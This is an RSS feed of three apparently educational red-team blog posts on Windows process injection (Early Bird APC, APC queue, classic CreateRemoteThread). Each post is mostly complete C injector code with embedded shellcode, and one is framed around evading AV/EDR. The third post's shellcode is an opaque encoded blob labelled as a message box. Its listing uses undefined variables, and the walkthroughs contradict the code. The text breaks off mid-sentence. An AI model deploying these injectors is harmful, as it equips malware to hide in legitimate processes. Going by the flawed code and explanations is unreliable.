<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xmani on Medium]]></title>
        <description><![CDATA[Stories by 0xmani on Medium]]></description>
        <link>https://medium.com/@0xmani?source=rss-b81400141b10------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*YHBXgeTOBHY9Mjp7_c44nQ.jpeg</url>
            <title>Stories by 0xmani on Medium</title>
            <link>https://medium.com/@0xmani?source=rss-b81400141b10------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 05:39:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xmani/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Early Bird APC Queue Code Injection]]></title>
            <link>https://medium.com/vault-infosec/early-bird-injection-05027fbfb794?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/05027fbfb794</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Tue, 10 Oct 2023 05:01:12 GMT</pubDate>
            <atom:updated>2023-10-10T08:23:50.028Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, we are going to see how Early bird injection works and write our code to execute the payload. To understand this blog, I recommend you to read my previous blog posts — Understanding Process Injection, Classic Process Injection, and the APC Queue Injection, which gives us an overview and an idea of process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUeI8L5koYwc32NC2Faxaw.png" /></figure><h3><strong>What and How it works:</strong></h3><p>Early bird injection is a technique that involves creating a new process and injecting code into it before the main thread starts executing. One of the key benefits of this method over normal APC Queue code injection is that the malicious behavior occurs early in the process initialization phase, increasing the possibility that some AV/EDR hooks will not detect. We need to select the process carefully before using it in our injection.</p><p>APC Injection injects our process into the existing remote process, but in EarlyBird, we create the process (in a suspended state).</p><p>Checkout the APC Queue Code Injection blog.</p><h3>Steps involved in writing code:</h3><ol><li>Declare the STARTUPINFOA and PROCESS_INFORMATION structures to configure and receive information about the newly created process.</li><li>First, we need to decide in which exe can inject the shellcode. Create a new process in a suspended state with CreateProcessA API.</li><li>Next, we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.</li><li>Now we have an allocated memory with RW(read and write), we need to write payload/shellcode into the allocated memory.</li><li>Then we need to change the base protection from RW (read and write) to RX (read and execute.)</li><li>Now APC is queued to the main thread and resumes the thread.</li></ol><h3>Win32 API call used:</h3><p>Create a new process — CreateProcessA<br>Allocate new memory at target process — VirtualAllocEx<br>Write payload into newly allocated memory — WriteProcessMemory<br>Changing the memory protection — VirtualProtectEx<br>Queue the payload — QueueUserAPC<br>Resume the Execution — ResumeThread</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;Windows.h&gt;<br><br>int main() {<br><br> //shellcode for Hello World PopUp Message<br> unsigned char buf[]= &quot;\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00&quot;<br>  &quot;\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8&quot;<br>  &quot;\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00&quot;<br>  &quot;\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33&quot;<br>  &quot;\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00&quot;<br>  &quot;\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D&quot;<br>  &quot;\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B&quot;<br>  &quot;\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61&quot;<br>  &quot;\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33&quot;<br>  &quot;\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F&quot;<br>  &quot;\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00&quot;<br>  &quot;\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F&quot;<br>  &quot;\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60&quot;<br>  &quot;\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24&quot;<br>  &quot;\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27&quot;<br>  &quot;\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7&quot;<br>  &quot;\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33&quot;<br>  &quot;\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C&quot;<br>  &quot;\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED&quot;<br>  &quot;\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45&quot;<br>  &quot;\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C&quot;<br>  &quot;\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48&quot;<br>  &quot;\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6&quot;<br>  &quot;\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B&quot;<br>  &quot;\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B&quot;<br>  &quot;\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C&quot;<br>  &quot;\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44&quot;<br>  &quot;\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6&quot;<br>  &quot;\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3&quot;;<br><br> SIZE_T payload_size = sizeof(buf);<br><br> //give configuration and information about the newly create process <br> STARTUPINFOA startprocess = { 0 };<br> PROCESS_INFORMATION processinfo = { 0 };<br> PVOID remotebuffer = 0;<br> DWORD oldprotection = NULL;<br> <br> <br> //Create a new process<br> char newproc[] = &quot;C:\\Windows\\System32\\calc.exe&quot;;<br> if (!CreateProcessA(newproc, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &amp;startprocess, &amp;processinfo)) {<br>  wprintf(L&quot;Failed to Create a New Process !\n&quot;, GetLastError());<br>  return 1;<br> }<br> HANDLE hprocess = processinfo.hProcess;<br> HANDLE hthread = processinfo.hThread;<br> <br> //Allocate memory on the newly created process<br> remotebuffer = VirtualAllocEx(hprocess, NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> if (remotebuffer == NULL) {<br>  wprintf(L&quot;Failed to allocate the memory!\n&quot;, GetLastError());<br>  CloseHandle(hprocess);<br>  CloseHandle(hthread);<br>  return 1;<br> }<br> PTHREAD_START_ROUTINE apcroutine = (PTHREAD_START_ROUTINE)remotebuffer;<br><br> printf(&quot;Allocated the memory : %p\n&quot;, remotebuffer);<br><br> //Write Payload/shellcode into the remote buffer<br> if (!WriteProcessMemory(hprocess, remotebuffer, buf, payload_size, NULL)) {<br>  wprintf(L&quot;Failed to Write Payload into the memory\n&quot;, GetLastError());<br>  CloseHandle(hprocess);<br>  CloseHandle(hthread);<br>  return 1;<br>  <br> }<br><br> //Changing Memory protection from RW -&gt; RX<br> if (!VirtualProtectEx(hprocess, remotebuffer, payload_size, PAGE_EXECUTE_READ, &amp;oldprotection)) {<br>  wprintf(L&quot;Failed to Change the memory protection!\n&quot;, GetLastError());<br>  CloseHandle(hprocess);<br>  CloseHandle(hthread);<br>  return 1;<br> }<br><br> //Queue the payload<br> QueueUserAPC((PAPCFUNC)apcroutine, hthread, NULL);<br><br> ResumeThread(hthread);<br> return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bu_NiySCJy21pXenrNUgNA.gif" /><figcaption>Injecting shellcode into the newly created process</figcaption></figure><h3>Code Walkthrough:</h3><ol><li>First, define the shellcode you want to inject, here we have a shellcode that pops up a message box containing a hello world message.</li><li>Declare the variables and structures. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.</li><li>We create a new process in a suspended state, which does not start executing immediately.</li><li>Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.</li><li>Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.</li><li>Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.</li><li>Using QueueUserAPC, we queue the shellcode as an asynchronous procedure call (APC) in the target process’s primary thread.</li><li>ResumeThread is called to resume the execution of the main thread in the newly created process, this allows the shellcode to execute.</li></ol><p>We’ll see more process injection techniques in the upcoming blog series.</p><p>Thanks for Reading !!!</p><p>Stay connected! Happy Hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=05027fbfb794" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/early-bird-injection-05027fbfb794">Early Bird APC Queue Code Injection</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[APC Queue Code Injection]]></title>
            <link>https://medium.com/vault-infosec/apc-queue-code-injection-f632f23ec85b?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/f632f23ec85b</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <category><![CDATA[process-injection]]></category>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Thu, 05 Oct 2023 21:15:38 GMT</pubDate>
            <atom:updated>2023-10-06T04:05:09.694Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, we are going to see how the APC Queue Injection works and write our code to execute the payload. I recommend you to read my previous blog posts — Understanding Process Injection and Classic Process Injection, which gives us an overview and an idea of process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJXukz6L927VgCR5sFV5Lg.png" /></figure><h3><strong>What and How APC works:</strong></h3><p>APC stands for Asynchronous Procedure Call. APCs are used to execute the user-defined functions in the context of the particular thread. When the thread enters an ‘alertable’ state, the Windows kernel checks if there are any queued APCs for that thread. If an APC is found in the queue, the kernel suspends the normal execution and it will execute the code/function specified in the APC.</p><p>APC (Asynchronous Procedure Call) Queue Injection is a technique used in Windows for injecting malicious code or arbitrary code into the address space of a target process. As we mentioned in the Classic process injection topic, this injection technique also used code injection for remote access, privilege escalation, or hiding malicious activities.</p><p>In Windows, threads can be in one of the following states,</p><blockquote>Running — The thread is actively executive code.<br>Waiting — The thread is waiting for some events to occur<br>Blocked — The thread is blocked.<br>Alertable — This is the special state that allows a thread to be waiting for an alert event, which can be triggered using the ‘QueueUserAPC’ function.</blockquote><p>Whenever the thread is in an alertable state and the APC is queued using QueueUserAPC, the thread suspends the current execution or activity, executes the APC, and then resumes the previous activity.</p><h3>Steps involved in writing code:</h3><ol><li>First, we need to identify the target process and obtain the handle to a target process. we need to get or open the already running process which runs at the same privilege level.</li><li>Next, we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.</li><li>Now we have an allocated memory with RW(read and write), we need to write payload into the allocated memory.</li><li>Then we need to change the base protection from RW (read and write) to RX (read and execute.)</li><li>Then Find all threads in target exe.</li><li>Now Queue an APC to all those threads. APC points to the shellcode address.</li><li>When threads in target exe get scheduled, our shellcode gets executed.</li></ol><h3>Win32 API call used:</h3><ol><li>Enumerating the threads and process — CreateToolHelp32Snapshot</li><li>Obtain Handle to a target process — OpenProcess</li><li>Allocate new memory at target process — VirtualAllocEx</li><li>Write payload into newly allocated memory — WriteProcessMemory</li><li>Changing the memory protection — VirtualProtectEx</li><li>Queue the payload — QueueUserAPC</li><li>Wait routines put the thread in an alertable state — SleepEx(),</li><li>WaitForSingleObjectEx(), WaitForMultipleObjectEx(), Sleep().</li></ol><pre>#include&lt;stdio.h&gt;<br>#include&lt;windows.h&gt;<br>#include&lt;tlhelp32.h&gt;<br><br>int main() {<br> <br> //Payload : Hello World Message BOX<br> unsigned char buf[] = <br>  &quot;\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00&quot;<br>  &quot;\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8&quot;<br>  &quot;\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00&quot;<br>  &quot;\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33&quot;<br>  &quot;\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00&quot;<br>  &quot;\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D&quot;<br>  &quot;\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B&quot;<br>  &quot;\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61&quot;<br>  &quot;\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33&quot;<br>  &quot;\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F&quot;<br>  &quot;\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00&quot;<br>  &quot;\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F&quot;<br>  &quot;\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60&quot;<br>  &quot;\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24&quot;<br>  &quot;\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27&quot;<br>  &quot;\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7&quot;<br>  &quot;\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33&quot;<br>  &quot;\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C&quot;<br>  &quot;\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED&quot;<br>  &quot;\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45&quot;<br>  &quot;\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C&quot;<br>  &quot;\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48&quot;<br>  &quot;\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6&quot;<br>  &quot;\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B&quot;<br>  &quot;\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B&quot;<br>  &quot;\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C&quot;<br>  &quot;\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44&quot;<br>  &quot;\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6&quot;<br>  &quot;\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3&quot;;<br><br><br> //Thread and Process Enumeration <br> HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);<br> //hsnapshot = { INVALID_HANDLE_VALUE }<br> if(hsnapshot == INVALID_HANDLE_VALUE){<br>  wprintf(L&quot;[-] Failed to create a snapshot!\n&quot;);<br>  CloseHandle(hsnapshot);<br> }<br><br> PROCESSENTRY32 pe32;<br> THREADENTRY32 th32;<br><br> pe32.dwSize = sizeof(PROCESSENTRY32);<br> th32.dwSize = sizeof(THREADENTRY32);<br><br> if (!Process32First(hsnapshot, &amp;pe32)) {<br>  printf(&quot;[-] Process32First Failed!&quot;);<br>  CloseHandle(hsnapshot);<br> }<br><br> if (!Thread32First(hsnapshot, &amp;th32)) {<br>  printf(&quot;[-] Thread32First Failed !&quot;);<br>  CloseHandle(hsnapshot);<br> }<br><br> //Finding target process by comparing with snapshot<br> if (Process32First(hsnapshot, &amp;pe32)) {<br>  while (_wcsicmp(pe32.szExeFile, L&quot;explorer.exe&quot;) != 0) {<br>   Process32Next(hsnapshot, &amp;pe32);<br>  }<br> }<br> SIZE_T payloadsize = sizeof(buf);<br> DWORD oldprotection = NULL;<br> <br> //Open the targetprocess<br> HANDLE targetprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ProcessID);<br> if (targetprocess == INVALID_HANDLE_VALUE) {<br>  printf(&quot;[-] Failed to Open process %d \n&quot;, GetLastError());<br>  return 1;<br> }<br> //Allocate the Memory on the target process | change permission to RW<br> PVOID remoteBuffer = VirtualAllocEx(targetprocess, NULL, payloadsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;<br> if (remoteBuffer == NULL) {<br>  printf(&quot;[-] Remote Allocation Failed: %d \n&quot;, GetLastError());<br>  return 1;<br> }<br> printf(&quot;[+] Allocated Remote Memory: %p \n&quot;, remoteBuffer);<br><br> //Write payload on the allocated memory<br> if (!WriteProcessMemory(targetprocess, remoteBuffer, buf, payloadsize, NULL)) {<br>  printf(&quot;[-] Failed to write payload in remote process: %d \n&quot;, GetLastError());<br>  return 1;<br> }<br><br><br> //Change the permission from RW to RX<br> if (!VirtualProtectEx(targetprocess, remoteBuffer, payloadsize, PAGE_EXECUTE_READ, &amp;oldprotection)) {<br>  printf(&quot;[-] Failed to change memory protection from RW to RX: %d \n&quot;, GetLastError());<br>  return 1;<br> }<br><br> if (Thread32First(hsnapshot, &amp;th32)) {<br>  do {<br>   if (th32.th32OwnerProcessID == pe32.th32ProcessID) {<br>    //Open the thread handle<br>    HANDLE threadhandle = OpenThread(THREAD_ALL_ACCESS, true, th32.th32ThreadID);<br>    //Queue the Shellcode <br>    QueueUserAPC((PAPCFUNC)remoteBuffer, threadhandle, NULL);<br>    // Sleep to allow the APC to execute<br>    Sleep(1000 * 2);<br><br>   }<br>  } while (Thread32Next(hsnapshot, &amp;th32));<br> }<br> return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hp0mAktG7yiMWafIHjwx-Q.gif" /><figcaption>APC Queue Code Injection in notepad.exe</figcaption></figure><h3><strong>Code Walkthrough:</strong></h3><ol><li>First, define the shellcode you want to inject, here we have a shellcode that pops up a message box containing a hello world message.</li><li>Declare the variables. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.</li><li>We start enumerating the threads and processes running on the target machine, it compares the exe name which equals to our target process (here we take the notepad.exe).</li><li>Then OpenProcess API opens a handle to the target process identified by the process ID.</li><li>Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions (PAGE_EXECUTE_READWRITE). The shellcode is going to be written into this allocated memory.</li><li>Using WriteProcessMemory, we write the shellcode into the allocated memory space within the target process.</li><li>Then we change the memory protection of the allocated memory from read/write to read/execute using VirtualProtectEx.</li><li>Then we enumerate the threads in the target process, open the handles to each thread, and inject shellcode using APC to execute the payload in each thread’s context after a 2-second delay.</li></ol><p>We’ll see more process injection techniques in the upcoming blog series.</p><p>Thanks for Reading !!!</p><p>Stay connected! Happy Hacking!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f632f23ec85b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/apc-queue-code-injection-f632f23ec85b">APC Queue Code Injection</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Classic Process Injection]]></title>
            <link>https://medium.com/vault-infosec/classic-process-injection-79db7535fa27?source=rss-b81400141b10------2</link>
            <guid isPermaLink="false">https://medium.com/p/79db7535fa27</guid>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team-methodology]]></category>
            <dc:creator><![CDATA[0xmani]]></dc:creator>
            <pubDate>Mon, 02 Oct 2023 11:05:07 GMT</pubDate>
            <atom:updated>2023-10-04T08:46:43.342Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, we will see how the classic process Injection works and write your first process injection code. Before that, I recommend you to read my previous blog post — <strong>Understanding Process Injection</strong>, which gives us an overview of process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TglcDzOx6o3xJy1-8ngAsQ.png" /><figcaption>Image Source: vanmieghem.io</figcaption></figure><h4>Steps involved in writing process injection:</h4><ol><li>First, we need to identify the target process and obtain the handle to a target process. we need to get or open the already running process which runs at the same privilege level.</li><li>Next we need to allocate new memory regions with read and write permission at the target process. Still, the payload is not executable, because the thread does not have the executable permission.</li><li>Now we have an allocated memory with RW(read and write), we need to write payload into the allocated memory.</li><li>Then we need to change the base protection from RW (read and write) to RX (read and execute.)</li><li>Now we can create a new thread and execute the payload.</li></ol><h4>Win32 API call used:</h4><ol><li>Obtain Handle to a target process —<strong> CreateToolHelp32Snapshot</strong>, <strong>OpenProcess</strong></li><li>Allocate new memory at target process — <strong>VirtualAllocEx</strong></li><li>Write payload into newly allocated memory — <strong>WriteProcessMemory</strong></li><li>Create a new remote thread — <strong>CreateRemoteThread.</strong></li></ol><h4>Sample Classic Process Injection code</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;Windows.h&gt;<br><br>int main(int argc, char *argv[])<br>{<br>    unsigned char shellcode[] =<br>        &quot;\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff&quot;<br>        &quot;\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58&quot;<br>        &quot;\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe1\xf6\x21\x9f\xdb\x78&quot;<br>        &quot;\x21\xec\x1d\xbe\xe3\x2a\x6a\xc0\xb3\xbd\x4b\xf6\x93\xa9\x4e&quot;<br>        &quot;\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09&quot;<br>        &quot;\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3&quot;<br>        &quot;\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff&quot;<br>        &quot;\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d&quot;<br>        &quot;\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8&quot;<br>        &quot;\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xa4\x69&quot;<br>        &quot;\xa4\x1c\x68\xef\x4a\xe2\xd8\xd0\x2c\xb1\xff\x63\xb2\x26\xd1&quot;<br>        &quot;\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e&quot;<br>        &quot;\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f&quot;<br>        &quot;\xa0\xd0\xfd\xa5\x1c\x6e\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa&quot;<br>        &quot;\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9e&quot;<br>        &quot;\xe3\x29\xd4\x70\xb9\xad\x44\xe4\xea\xf0\x39\x79\xb6\x13\xe2&quot;<br>        &quot;\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5&quot;<br>        &quot;\x94\x58\xea\xfa\xc7\x30\xe0\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3&quot;<br>        &quot;\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61&quot;<br>        &quot;\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b&quot;<br>        &quot;\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2&quot;<br>        &quot;\x66\xa1\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\x1e\x2c\x55\x37\x63&quot;<br>        &quot;\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6&quot;<br>        &quot;\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xf1\x1e\x39\x55&quot;<br>        &quot;\x3f\x66\x3b\x29\x90\xe1\xa5\xa5\xdd\xcf\x1f\x2b\x90\xe1\xec&quot;<br>        &quot;\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b&quot;<br>        &quot;\xe1\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d&quot;<br>        &quot;\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b&quot;<br>        &quot;\xd1\xb1\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xa1\x94\x7f\xee\xf2&quot;<br>        &quot;\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68&quot;<br>        &quot;\xf0\x25\xd1\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8&quot;<br>        &quot;\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61&quot;<br>        &quot;\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad&quot;<br>        &quot;\x94\x64\x5d\xae\x2b\x90\xe1\xec&quot;;<br><br>    HANDLE processHandle;<br>    HANDLE remoteThread;<br>    PVOID remoteBuffer;<br><br>    printf(&quot;Injecting to PID: %i&quot;, atoi(argv[1])); //1st argument as userinput (process id)<br>    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); //Obtain handle to a target process.<br>    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); //Allocate a memory in the target process and change the memory permission into RW(read and write)<br>    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); //Write our payload into allocate memory space.<br>    VirtualProtectEx(process, remotememory, payloadsize, PAGE_EXECUTE_READ, &amp;oldprotection); //Changing memory protection from RW (read and write) to RX(read and execute).<br>    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);<br>    CloseHandle(processHandle); // Create remote thread<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNPcpLdGHkRDUB28QSBHfw.gif" /><figcaption>Demo: Injection in the notepad process</figcaption></figure><p><strong>Code Walkthrough:</strong></p><ol><li>First, define the shellcode you want to inject, here we have a shellcode that popup a message box containing a hello world message.</li><li>Declare the variables. These variables will be used to hold handles to the target process, the remote thread, and the allocated memory in the target process.</li><li>OpenProcess API opens a handle to the target process identified by the process ID.</li><li>Then the memory is allocated within the target process using VirtualAllocEx. The memory is allocated with read, write, and execute permissions 